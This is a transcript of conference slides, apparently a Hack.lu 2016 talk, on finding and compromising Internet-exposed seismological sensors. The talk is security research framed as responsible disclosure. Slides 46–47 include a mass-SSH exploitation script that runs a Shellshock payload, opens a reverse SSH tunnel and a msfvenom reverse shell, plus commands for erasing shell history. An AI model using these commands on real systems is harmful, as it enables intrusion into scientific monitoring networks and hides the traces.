Top Banner
How to remotely exploit and attack seismological networks
49

Hack.lu 2016

Apr 09, 2017

Download

Software

James Jara
Welcome message from author
This document is posted to help you gain knowledge. Please leave a comment to let me know what you think about it! Share it to your friends and learn new things together.
Transcript
Page 1: Hack.lu 2016

How to remotely exploit and attack seismological networks

Page 2: Hack.lu 2016

Disclaimer

- All vulnerabilities have been reported to U.S CERT and EU-CERT

- We are not responsible of the actions that someone can take after attend this talk

jamesjara

Page 3: Hack.lu 2016

Outline

● Motivation/Background● Introduction to Seismology space● Impact

DEM

O

jamesjara

Page 4: Hack.lu 2016

jamesjara

Page 5: Hack.lu 2016

jamesjara

Page 6: Hack.lu 2016

Motivation, Why we are interested in seismological networks?

- An average attacker is not interested for this targets

- Cool scenario: ¨extreme environment¨- Could lead to a financial sabotage to a specific

company/country

jamesjara

Page 7: Hack.lu 2016

Seismic and volcanic activity in many developing countries

Page 8: Hack.lu 2016

Basic Seismology

The main purpose of a seismic network is to:

● Record earthquakes with seismic stations ● Find the location of the earthquake ● Calculate the magnitude of the earthquake ● Process and store the data for further scientific

analysis

jamesjara

Page 9: Hack.lu 2016

Seismometers

jamesjara

Page 10: Hack.lu 2016

Seismometers

jamesjara

Page 11: Hack.lu 2016

Seismic Sensors

jamesjara

Broad band sensor$15000

Accelerometer, $3000Geophone, $ 100

Page 12: Hack.lu 2016

Vendors found

jamesjara

Page 13: Hack.lu 2016

Internals

● Linux based OS ● Remote management ● SSH TELNET FTP ● Web Server ● GPS Ocean bottom ● Battery/Solar panels

jamesjara

Page 14: Hack.lu 2016

jamesjara

Page 15: Hack.lu 2016

Earth Deployment

jamesjara

Page 16: Hack.lu 2016

Ocean Bottom Deployment

jamesjara

Page 17: Hack.lu 2016

jamesjara

Page 18: Hack.lu 2016

SeismicTopology

jamesjara

Page 19: Hack.lu 2016

FDSN is a global organization supporting seismology research

jamesjara

Page 20: Hack.lu 2016

IMPACT jamesjara

We discovered that these instruments/devices are connected to the Internet

but they lack proper security policies

Page 21: Hack.lu 2016

What if a fake earthquake magnitude 8 on the Richter scale "Were shaking" the city of Madrid? Probably, even being a

hoax, the economy would suffer a collapse and some companies would have serious problems due to the

uncertainty.

jamesjara

Page 22: Hack.lu 2016

What if a company modifies the sensors of other company in order to generate wrong results.

...

GAS & OIL INDUSTRY

jamesjara

Page 23: Hack.lu 2016

What if Data Acquisition Servers contains corrupted data?Predictions will fail?

jamesjara

Disclaimer: we are not suggesting relation between the newspaper note and title

Page 24: Hack.lu 2016

TOO MUCH TALK!!!

ROOT..ROOT@ROOT

DEMO TIME .

Page 25: Hack.lu 2016

ATTACK & jamesjara

PENETRATION

Page 26: Hack.lu 2016

● Footprinting, How we discovered this device? NETDB.IO

● Fingerprinting● Getting the FIRMWARE● Reading the papers

jamesjaraATTACK & PENETRATION

Page 27: Hack.lu 2016

jamesjara

NETDB

Page 28: Hack.lu 2016

Fingerprint

Jetty/5.1.x Linux/2.4.24NMX-TAURUS-1.4.8 ppc java/1.5.0

jamesjaraATTACK & PENETRATION

Page 29: Hack.lu 2016

Getting theFirmware

jamesjaraATTACK & PENETRATION

Page 30: Hack.lu 2016

Getting theFirmware

..busted!

jamesjaraATTACK & PENETRATION

Page 31: Hack.lu 2016

jamesjaraATTACK & PENETRATION

Page 32: Hack.lu 2016

Gathering information from the docs.SEED PROTOCOL: The Standard for the Exchange of Earthquake Data (SEED) is a data format

intended primarily for the archival and exchange of seismological time series data and related metadata.

Data identification nomenclature:● Network code: a 1 or 2 character code identifying the network/owner of the data. These codes are assigned by the FDSN to provide

uniqueness to seismological data, new codes may be requested. (network code could be spoofed?)● Station code: a 1 to 5 character identifier for the station recording the data.● Location ID: a 2 character code used to uniquely identify different data streams at a single station. These IDs are commonly used to

logically separate multiple instruments or sensor sets at a single station.● Channel codes: a 3 character combination used to identify the 1) band and general sample rate 2) the instrument type and 3) the

orientation of the sensor. A convention for these codes has been established and is documented in Appendix A of the SEED Manual.

jamesjaraATTACK & PENETRATION

Page 33: Hack.lu 2016

GURALPSYSTEMS:

GURALP Systems are easy to find looking in the SSL certificate metadata in NetDB

jamesjaraATTACK & PENETRATION

Page 34: Hack.lu 2016

TOOLS● collect-ips-worlwide-taurus-devices.py: Scans from NETDB.IO and SHODAN devices with the

taurus fingerprint.

● nmap-csv-ports.pl: Converts nmap results to <IP,HOST,<PORTS,>>

● scan_devices.sh: By each ip will scan the opened ports

jamesjaraATTACK & PENETRATION

Page 35: Hack.lu 2016
Page 36: Hack.lu 2016

jamesjaraATTACK & PENETRATION

TELNET, SSH AND HTTP

Page 37: Hack.lu 2016

Screenshots of the Web Application: Execute ./screenshot-ips.py

jamesjaraATTACK & PENETRATION

Page 38: Hack.lu 2016

jamesjaraATTACK & PENETRATION

JettyServer

Page 39: Hack.lu 2016

Firmware Analysis:Backdoor! Factory user is not in official documentation.

jamesjaraATTACK & PENETRATION

Page 40: Hack.lu 2016

Ok , now we are root so .. What’s next ?

Page 41: Hack.lu 2016

jamesjaraATTACK & PENETRATION

Shellshock: Testing.. you know..PWD!! Shellshock!

Page 42: Hack.lu 2016

Take a malicious user perspective to protect YOUR data.

Page 43: Hack.lu 2016

jamesjaraATTACK & PENETRATION

Man in the Middle

Page 44: Hack.lu 2016

jamesjara

Page 45: Hack.lu 2016

jamesjaraATTACK & PENETRATION

Massive Exploiting of the Seismological Networks:

Disclaimer: please do not try to brake the network, scientist use network to save hundreds of lives, our lives.

Before using the script Executing massive process:● Disable your SSH HOST KEY CHECKING feature - Load txt file with the targeted ips● Tunneling/proxying chain - execute ./parallel-ssh-tauros.py and we

are in.!

Page 46: Hack.lu 2016

jamesjaraATTACK & PENETRATION

Massive Exploiting of the Seismological Networks:More examples:./parallel-ssh-tauros.py -t targets.txt -c uname./parallel-ssh-tauros.py -t targets.txt -c “x='() { :;}; echo restart' bash -c :" ./parallel-ssh-tauros.py -t targets.txt -c “ssh -NR 3333:localhost:22 user@yourhost”./parallel-ssh-tauros.py -t targets.txt -c “msfvenom -a x86 --platform linux -p linux/x86/shell/reverse_tcp LHOST=1..............”

Page 47: Hack.lu 2016

jamesjaraATTACK & PENETRATION

./parallel-ssh-tauros.py cleanhistory -crm -rf ~/.bash_history && ln -s ~/.bash_history /dev/null (invasive)touch ~/.bash_history (invasive) zsh% unset HISTFILE HISTSIZEtcsh% set history=0bash$ set +o historyksh$ unset HISTFILEfind / -type f -exec {} (forensics nightmare)

Page 48: Hack.lu 2016

Conclusions

● We are be able to locate this devices anywhere in the world

● We are in control of the device , the network and the software running on it.

● There is no SSL in communications● Vendors please… code better and think in

security

jamesjara

Page 49: Hack.lu 2016

Conclusions

● We are be able to locate this devices anywhere in the world

● We are in control of the device , the network and the software running on it.

● There is no SSL in communications● Vendors please… code better and think in

security

jamesjara

[email protected] 2016